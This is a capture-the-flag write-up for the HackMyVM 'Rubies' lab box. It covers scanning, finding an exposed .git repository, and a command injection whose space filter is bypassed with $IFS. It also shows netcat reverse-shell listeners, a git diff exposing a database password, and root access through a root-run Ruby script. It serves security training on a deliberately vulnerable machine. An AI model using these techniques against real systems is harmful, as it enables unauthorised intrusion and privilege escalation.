HackMyVM - Rubies
Rubies is a Medium difficulty machine that has some really useful techniques to understand.
As always there are different methods to achieve the same outcome, this is just the way I did it.
Find it
└─$ sudo netdiscover -r 10.0.0.0/24 -P|tee findit
[sudo] password for kali:
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
10.0.0.1 08:00:27:95:67:5b 1 60 PCS Systemtechnik GmbH
10.0.0.113 08:00:27:95:1d:09 1 60 PCS Systemtechnik GmbH
-- Active scan completed, 2 Hosts found.
Scan it
└─$ nmap -T4 -p- -sC -sV -oN nmap.out 10.0.0.113
# Nmap 7.91 scan initiated Thu Dec 30 09:38:13 2021 as: nmap -T4 -p- -sC -sV -oN nmap.out 10.0.0.113
Nmap scan report for 10.0.0.113
Host is up (0.00069s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 54:65:0b:7a:f3:5c:2f:1f:14:9e:bb:0e:44:0c:af:29 (RSA)
| 256 1f:5d:63:05:65:f7:cf:70:e4:0d:0a:45:80:77:50:2c (ECDSA)
|_ 256 69:a2:0f:83:dc:19:f2:c1:72:9c:a3:f8:09:44:3e:36 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-git:
| 10.0.0.113:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: Why minnie?
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Cute Cat Only
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Dec 30 09:38:28 2021 -- 1 IP address (1 host up) scanned in 15.13 seconds
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r -u http://10.0.0.113 -x html,php,txt -t 150
-r -u http://10.0.0.113 -x html,php,txt -t 150
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.0.0.113
[+] Method: GET
[+] Threads: 150
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: html,php,txt
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
2022/01/15 05:15:02 Starting gobuster in directory enumeration mode
===============================================================
/bg (Status: 200) [Size: 923]
/index.php (Status: 200) [Size: 742]
/uploads (Status: 200) [Size: 1133]
/javascript (Status: 403) [Size: 275]
/poems (Status: 200) [Size: 1692]
/server-status (Status: 403) [Size: 275]
however the code seems to detect RCE if there is a space in the URL so we just need to replace a space with $IFS or ${IFS} to bypass this.
Start a simple Python webserver to allow the target to download it and then execute it
┌──(kali㉿kali)-[~/rubies]
└─$ nc -nvlp 4444
connect to [10.0.0.10] from (UNKNOWN) [10.0.0.113] 54728
Linux rubies 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
19:07:56 up 57 min, 1 user, load average: 0.00, 0.00, 0.95
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
minnie pts/0 10.0.0.10 18:56 2:27 0.28s 0.28s /bin/bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (2190): Inappropriate ioctl for device
bash: no job control in this shell
www-data@rubies:/$
└─$ git show HEAD
diff --git a/index.php b/index.php
index 41f0f2f..d33ca0d 100644
--- a/index.php
+++ b/index.php
@@ -8,33 +8,6 @@ if(isset($_GET['poem'])){
$output = shell_exec("cat poems/".$input);
}
}
-
-
-// we dont need a login page dangit minnie! follow my orders pls
-$servername = "localhost";
-$username = "root";
-$password = "jd92 ";
Just need to stabilise the session to allow su to work.
Escalate to root.
minnie@rubies:/tmp$ ./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
minnie@rubies:/opt/cleaning$ ls -al
total 12
drwxrwxr-x 2 root minnie 4096 Jan 15 20:03 .
drwxr-xr-x 3 root root 4096 Nov 2 2020 ..
-rw-r--r-- 1 root root 108 Nov 2 2020 webserver_upload.rb
minnie@rubies:/opt/cleaning$ cat webserver_upload.rb
require "find"
Find.find("/var/www/html/uploads/") do |file|
File.delete("#{file}") if file=~/\.php/
end
minnie@rubies:/opt/cleaning$
└─$ nc -nvlp 5555
listening on [any] 5555 ...
connect to [10.0.0.10] from (UNKNOWN) [10.0.0.113] 41382
We are connected!
id
uid=0(root) gid=0(root) groups=0(root)
hostname
rubies
Overall this was a really nice box to play with.
Comments
Post a Comment